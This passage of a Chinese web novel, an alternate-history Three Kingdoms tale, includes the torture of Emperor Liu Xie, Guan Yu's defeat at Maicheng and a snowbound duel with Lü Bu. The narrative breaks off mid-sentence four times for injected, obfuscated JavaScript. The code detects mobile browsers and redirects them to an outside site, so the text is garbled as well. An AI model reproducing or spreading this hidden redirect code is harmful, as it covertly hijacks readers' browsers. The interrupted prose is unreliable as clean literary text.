羞愤和背叛感轰地冲上脑门,他彻底失去理智了。 “贼子!王越!你这欺君罔上的逆贼!朕待你不薄!你……” “你竟敢背叛朕!你不得好死!” 刘协指着王越,目眦欲裂,唾沫星子横飞。 就在刘协的咒骂声中,曹风手中的五虎断魂枪狠狠刺入了刘协的大腿! 枪尖穿透皮肉,深深扎进骨头! “啊——!!!” 刘协发出比之前断臂更为凄厉的惨嚎。 刘协的身体剧烈地抽搐起来。曹风面色冰寒,手腕猛地发力,枪身在血肉中狠狠一拧! “呃啊——!!!” 刘协的惨叫声瞬间拔高,痛得他几乎晕厥过去。 鲜血不断涌出来,很快就把刘协身下的地面染红了。 刘协心里很清楚,这次自己死定了。 但比起死亡,更让他害怕的是曹风对自己那可怕的恨意! 他怕曹风会用最残忍的手段折磨他,让他想活活不成,想死也死不了! 巨大的恐惧彻底压垮了刘协。 他再也顾不上什么帝王尊严,满脸鼻涕眼泪地哭求道:“曹风!曹……” “曹将军!当年都是王允那个老贼骗我的!” “是他!是他挑拨离间……” “我一时糊涂,才毒害了你的母亲!我知道错了!真的知道错了!求你给我个痛快吧!” 曹风的声音冰冷,每个字都带着恨意:“又是权力斗争!” 他咬牙切齿地说,“你们这些高高在上的大人物,为了自己的野心和算计,就能随便把人命当儿戏?!” “我娘……她做错了什么?!” “她只是个与世无争的普通妇人!你们凭什么?!凭什么让她成为你们的牺牲品?!" “噗嗤!”曹风猛地拔出腰间那把不知名的宝剑,狠狠刺穿了刘协的右肩!剑尖穿透身体,直接扎进了地上的石板里。 刘协眼神已经涣散,痛得连叫都叫不出来。 ………… 当曹风打下邺城、完全控制河北的时候,南方的战火不但没停,反而越烧越旺。刘备和孙权都抓住了曹风顾不上南方的机会,各自加紧行动。 关羽拿下襄阳这个重要城池后,刘备让他全权负责整个荆州的防守。 刘备自己也终于下定决心,带着蜀汉的主力部队,直接杀向富裕的益州,准备吞掉刘璋的地盘。 关羽坐镇荆州,一面整顿新得的襄阳城防,安抚民心,一面密切关注着北方曹风的动向和东吴的异动。 就在关羽刚稳定了荆州局势的时候,东吴那边突然给他送来一封信。写信的是个年轻将领——陆逊。他刚刚被吕蒙推出来接替都督的位置。 东吴对外宣称,吕蒙在惨烈的合肥之战中受了重伤,已经快不行了。 吕蒙推荐此时还没有什么名气的陆逊来接替自己,掌管东吴的军队。 陆逊在写给关羽的信中,极尽谦卑讨好,把关羽的威名和功绩捧得极高,称他是“当世第一名将”,字里行间满是仰慕和敬畏。 陆逊深知关羽性格高傲,便利用这一点,让关羽在不知不觉中放松了对东吴的戒备。 陆逊在信中提出了一个极具诱惑的合作:趁着曹风主力深陷河北、无暇南顾的大好时机,吴蜀两家作为联盟,应该放下旧怨,联手北伐! 他建议由关羽率领荆州主力北上,攻打曹风的上庸郡,而东吴则出兵进攻江夏郡。 这个合作听起来完全可行,也完全符合关羽渴望建功立业、为大哥刘备开疆拓土的雄心。 在陆逊的极力吹捧和这个看似合理的合作下,关羽彻底放松了警惕。 于是,关羽开始大规模调动荆州驻军,留下刘备的妻兄糜芳担任南郡太守,镇守荆州战略要地江陵城,负责后勤与防务。 关羽自己则是集结精锐部队向北进发,直指上庸! 上庸守将郝昭,虽然此时声名不显,却是一位很擅长守城的将领。 郝昭面对关羽的大军,丝毫没有畏惧,十分镇定。他凭借上庸城坚固的防御工事,率领守军顽强抵抗。 关羽的军队连日发动猛攻,云梯、冲车、投石机轮番上阵,喊杀声震天动地。 然而,郝昭的防守没有给他任何可趁之机。关羽始终无法撼动城池,反而伤亡惨重,士气逐渐低落。 刚刚彻底平定河北的曹风,很快就收到了来自郝昭的求援信。 上庸一旦失守,蜀军将直接威胁到南阳盆地乃至洛阳的安全。 曹风命令驻守新野的太守文聘和坐镇洛阳的京畿长官孙礼,立即集结精锐部队,火速驰援上庸,解上庸之围。 同时,曹风他亲自提笔,给前线的关羽写了一封信。 在信中,曹风劝告关羽:陆逊所谓的合作,就是个陷阱!东吴的真正意图,绝不是和关羽联手攻打自己,而是想趁着关羽大军北上、荆州防守空虚时,偷袭荆州! 曹风劝告关羽,千万不要中了东吴的诡计,应当立刻撤军回防荆州。 高傲的关羽收到曹风的信件后,并没在意曹风的忠告。 关羽倒不是觉得曹风让自己退兵是什么缓兵之计,而是他根本就没瞧得起东吴。 在关羽心里,孙权、吕蒙、陆逊这些江东鼠辈根本不值一提,他认定这些人既没胆量、也没本事在他关云长背后捅刀子。 第252章 关羽败走麦城 就在关羽的大军在上庸城下与郝昭激战、陷入僵局的时候,吕蒙的阴谋已经悄然展开。 陆逊亲自率领一支东吴水陆军,大张旗鼓地进攻江夏郡。 然而,他的目标并非真正攻占江夏,而是为了牵制住江夏守将凌统,让凌统注意力偏离柴桑。 这样一来,吕蒙便能偷偷绕过柴桑,偷袭荆州。 吕蒙和陆逊的计策,被坐镇江夏的军师徐庶识破。徐庶最终还是选择视而不见,任由孙刘互相厮杀。 他不亲自出手对付刘备,就已经算是念及当年的旧情了。 然而,徐庶想不明白,诸葛亮为何不劝阻刘备,让其他人来镇守荆州。关羽这人太过傲气,明知是计策,还会自己往里跳。 徐庶没有点破吕蒙计谋,让他趁机得逞了。 装病退居幕后的吕蒙,亲自率领东吴最精锐的部队,执行了他精心策划的“白衣渡江”之计! 吴军士兵脱下铠甲,换上普通商旅的白色便服,将兵器暗藏在货船之中。 数支庞大的“商船”队趁着夜色,沿着浩瀚的长江逆流而上,昼夜不停地向荆州腹地逼近。 他们成功避开了关羽设在江边的烽火台和巡逻哨,突然出现在荆州沿岸的要塞。 守军根本来不及反应,甚至连点燃烽火报警的机会都没有,就被迅速歼灭。 吕蒙连番使用阴损的计谋,荆州后方守备空虚的城池,接连失陷。 负责留守荆州要地**的将领傅士仁,以及镇守南郡治所江陵的糜芳,在巨大的压力和吕蒙的策反下,相继开城投降。 这两个关键城池的失守,使得东吴军队如入无人之境,迅速占领了荆州大部分核心区域,同时也阻断了关羽的退路。 后方沦陷的消传到上庸前线,关羽大军顿时军心涣散,士气崩溃! 将士们惊闻家园被占,亲人落入敌手,个个惶恐不安,根本没有心思继续攻城。 而此时,接到曹风命令的文聘和孙礼援军也已赶到,趁机发起**。 关羽腹背受敌,陷入绝境。 前方由郝昭镇守的上庸城坚不可摧,久攻不下。 后方追兵步步紧逼,退路又被吴军截断。 关羽最终决定放弃对上庸的进攻,率领部队拼死向南突围,试图杀回荆州,夺回失地! 在文聘、孙礼的追兵和东吴堵截部队的接连**下,关羽的部队伤亡惨重。最终,他只能带着少数残兵败将,狼狈退守到一座孤立无援的小城——麦城。 寒风凛冽,大雪纷飞。 麦城城头上,关羽的如同一尊伫立的雕像。那双丹凤眼遥望着西南方向——那是益州,是兄长刘备所在之处。 他的眼神中,满是悲痛、自责和疲惫。 “父亲,”关平走上城头,将一件厚重的披风轻轻披在关羽宽厚的肩膀上,声音带着忧虑,“您已经在风雪中站了一天了。夜寒风疾,雪深天寒,还是回屋里暖暖身子吧。” 他看着父亲瞬间苍老了许多的侧脸,心中酸楚难当。 关羽没有回头,依旧凝视着风雪弥漫的远方。 他沉重地叹了口气:“唉……不知元俭突围前去求援,是否顺利,能否冲破吴贼的重重封锁。” 关羽顿了顿,声音充满了羞愧“荆州是在我手中丢掉的啊!我还有何面目回去见你大伯?” 关平见父亲似乎被抽空了所有精气神儿,他张了张嘴,想劝慰些什么。 比如“胜败乃兵家常事”、“留得青山在”之类的话语。 但当他看到父亲眼中的决绝时,所有的话语都堵在了喉咙里。 就在这时,赵累急匆匆地登上了城头。 他眉头紧锁,忧心忡忡地禀报:“关将军!城中粮草已经见底了!将士们只能靠稀粥充饥,战马连草料都吃不上!” “再这样下去,最多只能撑两天了!军心不稳,请将军速做决断!” 关羽手掌猛地拍在城垛上,“嘭”的一声闷响,震得垛口上的积雪簌簌落下。 关羽询问赵累:“赵都督,依你之见,当下情势,我军该如何用兵方能杀出一条生路?” 赵累深吸了一口气,眼神中闪过一丝决绝。 他挺直腰背,迎着关羽的目光,坚定道:“将军!麦城弹丸之地,城墙低矮残破,城中兵力不足,多是伤兵疲卒,根本守不住!眼下唯有趁吴军尚未完全合围,集中精锐全力突围,才有一线生机!” 他稍作停顿:“末将愿率本部人马死守麦城,吸引吴军的注意力!将军今夜可趁机突围!” “不可!”关羽毫不犹豫的拒绝了赵累的提议、 “我关云长岂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201632|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是贪生怕死、舍弃袍泽而独活之人?要生一起生,要死一起死!我绝不会留下你在此断后!” 赵累急切地摇头:“将军!孙权已派使者多次入城劝降。” “将军不妨假意应允其劝降,让他们放松警惕!” “若末将随将军一同突围,城中守军力量瞬间空虚,吴军细作必能立刻察觉,届时他们必然加强所有方向的戒备,封锁道路,将军的突围行动将难上加难!” “末将留下牵制迷惑敌军,实乃上策!将军!请以大局为重!以复兴汉室的大业为重!” “玉可碎而不可改其白!”关羽猛地挺直了腰背,“竹可焚而不可毁其节!我关云长此生,唯忠义二字!有死而已,岂能向那碧眼小儿屈膝投降?纵然是假降,亦是玷污吾名!” 赵累闻言,心中更是焦急万分,慌忙再次劝说道:“关将军!此一时彼一时啊!” “假降只为迷惑敌军,绝非真心投靠!将军您一身武艺韬略,乃国之柱石,刘皇叔的左膀右臂!” “您还要留着这有用之身,辅佐刘皇叔兴复汉室江山啊!岂能在此意气用事,玉石俱焚?” “若将军身死,皇叔如断一臂,汉室复兴大业何人来助?” 复兴汉室? 关羽的丹凤眼中闪过一丝复杂的神情,望向北方。 听说曹风已彻底掌控河北,连都城邺城也落入他的手中。不知那位皇帝刘协…… 如今是生是死? 尽管此刻与曹风是敌对关系。但关羽还是希望,曹风不要做出弑君这等大逆不道、自绝于天下的事。 倘若刘协真的死在曹风手中,刘备与曹风之间,必是不死不休的血仇! 在刘备与曹风之间,关羽会果断选择支持刘备。 关羽的目光缓缓收回,沉默了片刻:“赵都督,你的心意,关某心领了。你随我一同走吧。我们并肩杀出去!” “关将军义薄云天,有气节!”赵累眼中含泪,“末将赵累,虽不及将军威名,又何尝不是顶天立地、重义轻生之人?!” 话音未落,他猛地拔出腰间佩剑,剑刃横在了自己脖颈之上! “关将军若是因为顾及末将而延误战机,错过了这唯一的突围机会,末将便立刻自刎于此!以死明志!” “请将军速走!!” 第253章 吕布:关云长,我们又见面了 “唉——!!” 眼见赵累的决绝,关羽只能仰天长叹一声。 叹息声中充满了无尽的悲怆、自责与无可奈何。 眼泪终于无法抑制,从他的丹凤眼中涌出。 “今日之祸,皆因我关某刚愎自用,疏忽大意,才中了东吴奸计,连累三军,累及荆州父老!此皆我一人之过也!” 他猛地一甩身后被风雪浸湿的青色战袍,不敢再看横剑于颈的赵累最后一眼,大步走下城头。 那高大的背影在漫天风雪中,显得无比孤独、悲壮。 关羽要去集结残存的将士,趁着这风雪弥漫的黑夜,做最后一搏! 刺骨的寒风夹着鹅毛大雪,刮在关羽一行人脸上,疼得像刀割一样生疼。每个人的眉毛、鬓角都结满了冰霜。 为了不惊动东吴的兵马,他们只点了几支火把。 火光本来就暗,再加上大雪纷飞,二十步之外基本什么都看不清了。 积雪几乎没过了半个小腿,马蹄每一次抬起落下都格外费力,前进变得异常艰难。 关羽的赤兔马踏雪如履平地,恶劣的天气对它毫无影响。 但为了照顾身后的士兵,关羽不得不一次次勒紧缰绳,放慢自己的前行速度,与整个队伍保持一致。 就在这支队伍艰难地接近一座被积雪覆盖、显得格外突兀的土丘时,一直稳步前行的赤兔马突然发出一阵不安的嘶鸣。 它猛地扬起头,碗口大的蹄子焦躁地刨着厚厚的积雪。 关羽轻抚赤兔的脖颈,低声安抚,可往日温顺通灵的赤兔此刻却一反常态,无论如何也平静不下来。 赤兔马固执地将队伍引至土丘脚下,彻底停下了脚步。 它不再前进,而是猛然扬起前蹄,朝着风雪中模糊的土丘顶端处,发出一声声嘶鸣。 那嘶鸣声里,既有久别重逢的激动,又夹杂着一丝难以言喻的愧疚。 关羽丹凤眼微眯,顺着赤兔马嘶鸣的方向,与关平等人一同极力望向风雪交加的土丘顶处。 又点燃数个火把,众人才勉强透过风雪,发现山丘顶端处的黑色身影。 关平年轻气盛,再加上此时心中压抑,见这黑影突然拦路,当即按捺不住。 他左手紧握腰刀,朝风雪中的黑影厉声喝道:“来者何人?报上名来!少在那里装神弄鬼!” 黑影对关平的喝问充耳不闻,既不回应,也不表明身份。 就在山丘下众人警惕、疑惑的时候,那黑影突然动了! 黑影身形一晃,在雪坡上几个起落,转眼已站立在路中央,将关羽一行人的去路拦住。 黑影终于来到近前,才看清他的样子。 一身黑色劲装裹着精悍身躯,宽檐斗笠压得很低,脸上灰布蒙面,唯有一双眼睛暴露在外。 那双眼睛没有温度,没有犹豫,只有看透生死的漠然,和随时准备收割性命的冷酷。 关平心中警兆更盛,再次厉声喝问:“可是东吴的鼠辈在此设伏拦路?!藏头露尾,算什么好汉!” 他身后的亲兵也纷纷挺起刀枪,摆出戒备姿态。 那黑衣人这才有了反应,从斗笠下传来一声冷哼,充满了不屑与讥讽。 “哼,东吴?即便是他们的先主孙文台,在我面前,也无资格相提并论!” 黑衣人语气狂傲,好像江东豪杰在他眼里不过是草芥。更奇怪的是,他的话仿佛带着某种魔力,让人不由自主地信服。 可能是因为这人的底气很足的缘故吧。 说完,他连看都没看眼前这十几个人,那双凶狠的眼睛慢慢转向关羽身边躁动不安的赤兔马。 当目光落在赤兔身上时,眼底忽然闪过一丝极难察觉的复杂神色—— 像是在回忆什么,甚至带着点说不清的…… 慈爱? 令人惊奇的一幕发生了。 方才还躁动不安的赤兔马,在接触到这黑衣人的目光后,竟猛地低下了它那高昂的头颅! 硕大的马眼中,似乎瞬间蒙上了一层水雾。 它不敢再与黑衣人对视,巨大的身躯微微颤抖,四蹄不安地原地踏动,喉咙里发出呜咽的嘶鸣。 那姿态,像极了一个做错了事、心怀愧疚的孩子。 这诡异的情景让关羽心生疑惑,丹凤眼斜着打量着黑衣人。 只见黑衣人缓缓抬手,伸向背后。 那里是用几层厚实的黑布紧紧缠裹着一件长条状的东西。 他将其取下,握在手中。黑衣人手臂肌肉绷紧,猛地往身旁的雪地上一杵! ““咚!”一声闷响,脚下的雪地似乎都跟着震了震。 强劲的力道震碎了裹在外面的黑布,碎片在风雪中四散纷飞。那东西终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208543|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于露出了真面目! 是兵器! 刹那间,关羽斜视变为了正视,那双半眯的丹凤眼骤然睁圆!他死死盯着那杆在风雪中傲然挺立的兵器,那个曾让天下英雄胆寒的绝世神兵! 方天画戟! 赤兔反常,方天画戟。那么,眼前这黑衣人…… 黑衣人抬手,一把将头上的斗笠扯下,任由其被狂风卷走。 紧接着,他猛地撕下脸上那块遮蔽面容的灰色麻布! 一张棱角分明、桀骜不驯的面孔暴露在风雪之中! 浓密的眉毛下,那双眼睛锐利如鹰隼,此刻正燃烧着熊熊的战意,迎向关羽! “关云长!多年未见!且让我吕奉先看看,你这些年来武艺到底长进了几分!可还配得上这赤兔神驹?!” “吕……吕布?!”关平瞬间脸色煞白,失声惊呼! 这个名字,曾经代表天下无双,代表武道的巅峰! 是所有武将心中挥之不去的阴影! 关平猛地抽出腰刀,朝身后十余名骑兵厉声吼道:“结阵!随我冲——先下手为强!” 眼下,只有借助骑兵冲锋的势头,才可能搏出一线生机! 然而,关平的怒吼和动作却被关羽喝止打断。 “平儿!住手!所有人不得插手,退下!” 关羽阻止关平等人,一方面是源于他骨子里的骄傲。即便是面对这曾经公认的天下第一吕布,关羽也不需要任何帮手。 关羽上一次与吕布交手,还是在虎牢关之战的时候。 当时,张飞先与吕布单挑了五十多个回合,不分胜负。关羽见张飞久战不下,便提起青龙偃月刀加入战局,与张飞联手再战吕布三十回合,仍然没能取胜。 后来刘备也挥舞双剑参战,三人合力**吕布,最终吕布体力不支,虚晃一戟撤退。 这一次,关羽希望能和吕布单独较量一场,来一场真正的巅峰对决——一场只属于顶尖强者的公平厮杀! 关羽阻止关平等人,还有一个原因。 面对吕布这样的对手,人数早已失去意义。 除了像他这样站在武道巅峰的强者,其他人冲上去,不过是白白送死,成为方天画戟下的亡魂罢了! 那杆戟下,曾有多少名将殒命? 关平他们,甚至连让吕布认真出手的资格都没有! 第254章 风雪夜:关公战飞将 赤兔马凝视着那张阔别多年、熟悉却又沧桑的脸,泪水混着雪水滚落。 它仍记得与旧主吕布纵横沙场、睥睨天下,记得那份属于他们的默契与荣耀。 这些年来,它跟随新主关羽,一路过五关斩六将,千里独行,那份忠义与信任也同样难以忘记。 如今旧主重现,新主在前…… 它焦躁地踏着蹄子,硕大的头颅在关羽与吕布之间来回转动,鼻腔里发出低沉的嘶鸣,一时竟不知该何去何从。 关羽与赤兔相伴多年,看到它此时的样子,自然明白它的痛苦煎熬。 关羽一生义薄云天,光明磊落,不忍心让这陪自己闯过无数艰险的老伙计陷入两难。 更何况,以关羽的傲气,更不屑占这个便宜——与无马可乘的吕布马战,即便胜了也不光彩。 于是关羽没有丝毫犹豫,右手紧握青龙偃月刀,左手在马鞍上轻轻一撑,那高大魁梧的身躯稳稳落在积雪之中。 关羽右手斜持着那柄威震天下的八十二斤青龙偃月刀,左手则习惯性地捋过胸前那已沾染了些许冰晶的浓密长须。 关羽的目光牢牢锁定吕布,声音洪亮:“吕奉先!当年虎牢关前,十八路诸侯束手,关某有幸与你交手,却未能尽兴,引为平生一大憾事!” 他的话语微微一顿,带着几分英雄末路的苍凉,却很快又被一股不屈的战意所取代。 “未曾想,今日我关云长身陷绝境,穷途末路之际,竟能在此风雪之中,与你重逢!当真是天意弄人!” “今日重逢,正好做个了断!也平添关某当年的遗憾!” 吕布那双燃烧着战意的鹰眸中,也闪过一丝复杂光芒。 是追忆? 还是是感慨?! 两人几乎在同一瞬间,身体微微前倾,如同两张蓄满千钧之力的强弓! 脚下的积雪轰然炸开! 两道身影,裹挟着漫天风雪,如同两道惊雷,猛地冲向对方! “锵——!!!”一声震耳欲聋的巨响炸开! 青龙偃月刀的寒光与方天画戟的乌影在风雪中狠狠相撞。 两件兵器相击的瞬间,刺眼的火星四处飞溅,但转眼就被风雪吞没。 这两杆曾经威震华夏的神兵,在分别数十年后,终于在这风雪绝境之地再次相遇,展开了宿命的碰撞! 刀光戟影,在风雪中交织成一幅惊心动魄的画面。 关羽的刀法早已达到化境,不再是当年在虎牢关下那种纯靠刚猛的招数,而是融入了无数次生死搏杀的经验。 青龙偃月刀在他手中,时而大开大阖,力劈华山; 时而如灵蛇出洞,刁钻诡异,专攻要害; 时而又刀势连绵不绝,形成密不透风的**。 关羽的刀法中蕴含的不仅仅是力量,更是一种堂堂正正、气吞山河的浩然正气! 吕布的戟法,则如同他本人一般,狂放霸道! 方天画戟在他手中,仿佛拥有了生命。 沉重的戟身在他手里轻若无物。 他的戟法,也超越了技巧的范畴,达到了随心所欲、意动戟至的至高境界! 两人的挥动武器的动作越来越快。 连绵不绝的金铁交鸣终于盖过了风雪呼啸。 关平和他身后的十余名亲兵,此刻早已看得目瞪口呆。 他们由于紧张,攥着缰绳的手心渗出冷汗,双眼紧盯着场中那两道快如鬼魅的身影。 每一次兵刃碰撞的巨响都让他们心脏猛然收紧,每一次惊险闪避都让他们后背发凉。 他们从未见过如此惊心动魄的单挑! 关平此刻内心掀起惊涛骇浪。 他素来自认在同辈中武艺出众,可亲眼目睹父亲与吕布这场对决,才猛然醒悟: 自己引以为傲的武艺,在这两位绝世高手面前,简直就像刚学会握刀的幼童。 想到刚刚自己还要去挑战吕布,关平心中一阵后怕。 激斗已过七十余回合,就在关羽逐渐落入下风时,吕布那原本如魔神般狂猛的攻势,突然一滞! 他刺向关羽咽喉的那一戟,突然失了准头,力道也骤然减弱,动作变得迟滞、扭曲! 吕布那张狂傲不羁的脸上,瞬间闪过一丝痛苦的抽搐! 他的喉咙剧烈滚动,似乎在强忍什么,脸色骤然惨白,额角青筋暴突! 吕布在官渡之战的还没痊愈的旧伤发作了! 由于他受伤严重,即便是左慈和庞德公这种奇人,也没办法让他痊愈。 若是吕布肯放弃武学,静心修养,还能活个三五年。 但若是再与人对决牵动伤势,恐怕活不过半年。 但吕布选择的不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210936|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苟活,而是继续冲击武道巅峰! 高手对决,胜负往往只在一瞬! 吕布这突如其来的变故,立刻被关羽敏锐地捕捉到了! 青龙偃月刀带着凄厉的破空之声,顺着吕布方天画戟收回的轨迹,闪电般直削向他的左肩! 这一刀,快!准!狠! 凝聚了关羽毕生功力! 关羽知道,胜败就在这一击了! 然而,就在刀锋即将触及吕布肩甲的千钧一发之际,关羽那丹凤眼中精光一闪! 他同样看到了吕布那瞬间的痛苦表情和强行咽下鲜血的动作! 一股源自武者尊严的本能,一种对巅峰对手的尊重,让关羽硬生生将刀势向侧方一带! 关羽知道,吕布的伤势并不知自己造成的。 “嗤啦——!” 冰冷的刀锋几乎是贴着吕布的左肩甲胄划过,带起一溜刺目的火星,将肩甲边缘削落一小片! 刀锋带起的劲风,甚至割断了吕布几缕飘散的发丝! 这惊险的一幕落在远处观战的关平眼里,却完全成了另一番景象! 风雪太大,他根本看不清吕布那一瞬的痛苦表情,也看不到关羽那精妙至极的变招。 他只看见父亲那惊天动地的一刀,几乎就要斩断吕布的左臂!而吕布在最后一刻踉跄后退,是被父亲那凌厉无比的刀势逼退的! 关平他猛地举起腰刀,激动喊道:“父亲赢了!父亲赢了!父亲打败了天下第一的吕布!父亲才是真正的天下第一!” 他身后的亲兵们虽然没看清细节,但见少主如此激动,又见吕布确实后退,也忍不住跟着欢呼起来! “住口!”关羽猛地回头,对着关平厉声呵斥。 关羽脸色前所未有的严肃:“你们休得胡言乱语!吕奉先并未败!” 呵斥完关平,关羽收回目光,再次看向吕布,眼神复杂。 他原本对吕布此人,多少也受其三弟张飞“三姓家奴”评价的影响,心中存有几分轻视。不过此时,他却对吕布有了些许敬重。 关羽看得出来,吕布身上带着不少旧伤。 受了这么重的伤,还能有如此战力,吕布确实值得敬重! 并且,吕布伤的这么重,估计活不久了。 关羽想到自己同样身处绝境,英雄末路,感同身受。 第255章 吕布:天下第一已经是曹风了! 吕布站稳身子后,深吸几口冰冷的空气,强压下胸口剧痛。 他抬手用指背缓缓擦去嘴角渗出的血迹。 听到关平等人的欢呼,他非但不恼,反而对关平露出一个复杂的笑容——那笑容里带着释然、追忆,还有…… 几分自嘲。 吕布的声音穿透风雪,清晰地传入每个人耳中:“小伙子,你说错了。” 这句话,明显是说给关平的。 吕布顿了顿,目光扫过关平等人,又落回关羽身上,“我吕奉先已不再是天下第一了!” 这话一出,在场众人都以为吕布是承认败给关羽。 连关羽心中也是有些惊喜,即便他知道自己没有赢, 关羽一生傲骨,虽不说出口,但心底始终认为自己武艺冠绝当世,只是…… 有吕布这座公认的武道巅峰未越,关羽才将“天下第一”的念头深藏在心中。 此刻听到吕布亲口承认,关羽原本古井无波的心也翻腾起来。难道梦寐以求的巅峰之名,竟在这穷途末路时达成了? 然而吕布接下来的话,却让所有人目瞪口呆。 他的目光仿佛穿过风雪望向北方,声音平静却有力:“因为现在的天下第一……” 吕布收回目光,一字一句道:“是那曹风的了!他在官渡之战时,就堂堂正正击败了巅峰状态的我!” “什么?!天下第一是竟然是曹风?!”关平脸上原本兴奋的表情瞬间僵住,像是被浇了盆冷水,被这冰天雪地冻住了。 他想起当初父亲看完天幕中曹风的事迹后说的话:。 “平儿,曹风的武学天赋和未来成就,不是你能比的。你要勤练武艺,但别强求与他争锋。但你也不要灰心,像曹风这样的人,为父也只见过一个。” 当时的关平年轻气盛,心中很是不服。 他可没见过曹风斩杀了哪个名将,也没有什么传世之战。 关平觉得父亲只是凭早年印象和天幕片段下的判断。 他暗自发誓要苦练武功,有朝一日击败曹风证明给父亲看。 文无第一,武无第二! 这是刻在武者骨子里的信念。 关平岂能还没交手,就轻易认输? 可如今这残酷真相,竟是从傲视天下的吕布口中说出! 以吕布的傲气,绝不会也根本不屑于说谎! 那么…… 曹风真的战胜了巅峰时期的吕布! 这消息对关平的冲击,比看到关羽与吕布对决还大。 关平感到一阵无力和沮丧。 能击败吕布的曹风…… 自己的武艺在对方眼里恐怕真如儿戏。 当初“击败曹风”的誓言,现在想来幼稚可笑得像井底之蛙。 关羽听到后,也是一愣,随后威严的脸上竟露出罕见的欣慰笑容。 即便高傲如他,此刻也涌起“青出于蓝”的豪迈。 曹风这个他视若子侄的年轻人,虽然现在敌对,但那孩子的武学天赋和对武道的执着,关羽比谁都清楚。 听闻他能击败巅峰吕布登顶武道,关羽心中师长的骄傲瞬间压倒了阵营隔阂。 公私分明正是他关云长的作风。 他由衷为曹风高兴,哪怕这意味着对方站在自己对立面。 就在众人还沉浸在这震撼消息中时,吕布的声音再次响起。 “关云长……”吕布声音恢复了平静,“曹风托我带话。” “东吴在前方设了埋伏。”吕布指向与关羽前进方向相反的方位,“想活命就往西南走,那里有人接应你去江夏。这算他报答你当年授艺之恩。他说,恩情虽深,但仅此一次。” 关羽顺着所指方向望去,又看向吕布苍白的脸。 沉默片刻后关羽还是捋须摇头,声音决然:“曹风能在此时念及旧情示警安排退路,关某已感宽慰。” 关羽瞬间明白曹风的深层意思:去江夏而非西川,这是划下的界限。 救命之恩仅止于此,曹风不会放任他回到刘备身边。 一个活着的关羽对曹魏是巨大威胁。 这安排恰恰证明曹风对他关云长的忌惮与重视。 关云长非但没生气,反而心中有些高兴。 吕布见关羽神色决然,知道心意已定。 他本与关羽无深交,也只是帮曹风传个话。 既然话已带到,那么选择生死都是关羽自己的决定。吕布懒得再多费口舌。 吕布能感觉到自己生命似乎正在急速流逝,他还有最后一件事要做……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213960|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 寻找那位同样精通方天画戟、传说已归隐的前辈高人李彦! 据传李彦最后出现在南方交趾。 找到李彦,这将是他此生最后一战! 为追寻戟道极致,为印证毕生所学! 纵使埋骨他乡,此生无憾!这才是武者真正的归宿! 风雪渐小,寒意依旧。关羽与吕布两位绝世人物在这雪原上默默对视一眼。那一眼中有太多:往昔峥嵘的追忆、武道的敬重、英雄末路的苍凉、道路不同的决绝。他们知道,此一别便是永诀。 吕布目光再次落在关羽身旁的赤兔马上,眼神异常温和。 他没开口向关羽讨要这匹曾随他纵横天下的伙伴,只是在擦身而过时,轻轻拍了拍赤兔的头颅。 “老伙计,征战沙场才是你的归宿。” “我吕奉先啊,已经不属于那里了。” “好好跟着关云长,他配得上你。带着他突围吧。” 赤兔发出眷恋的嘶鸣,大颗泪珠再次涌出。 关羽深深看了眼吕布即将消失在风雪中的萧索背影,又轻拍了一下赤兔的脖颈。 随后,关羽猛地挥手:“继续前行!” 关羽率领关平和亲兵们义无反顾冲入风雪。 风雪虽小了些,前路依旧迷茫。 关羽知道时间紧迫,东吴追兵随时可能合围,他不断催促队伍加速。尽管已听从曹风的警告倍加小心,但东吴布下的罗网太过周密歹毒! 就在他们穿过一片积雪覆盖的林地时,异变陡生! “绷!绷!绷!” 数道藏在厚雪下的绊马索突然弹起!直冲最前方的赤兔! 赤兔虽神骏,但在高速奔驰中难以及时反应! “唏律律——!” 随着凄厉悲鸣,赤兔被数道绊马索同时绊倒! 巨大身躯轰然向前翻滚! 关羽猝不及防被甩飞出去,重重摔在雪地上! 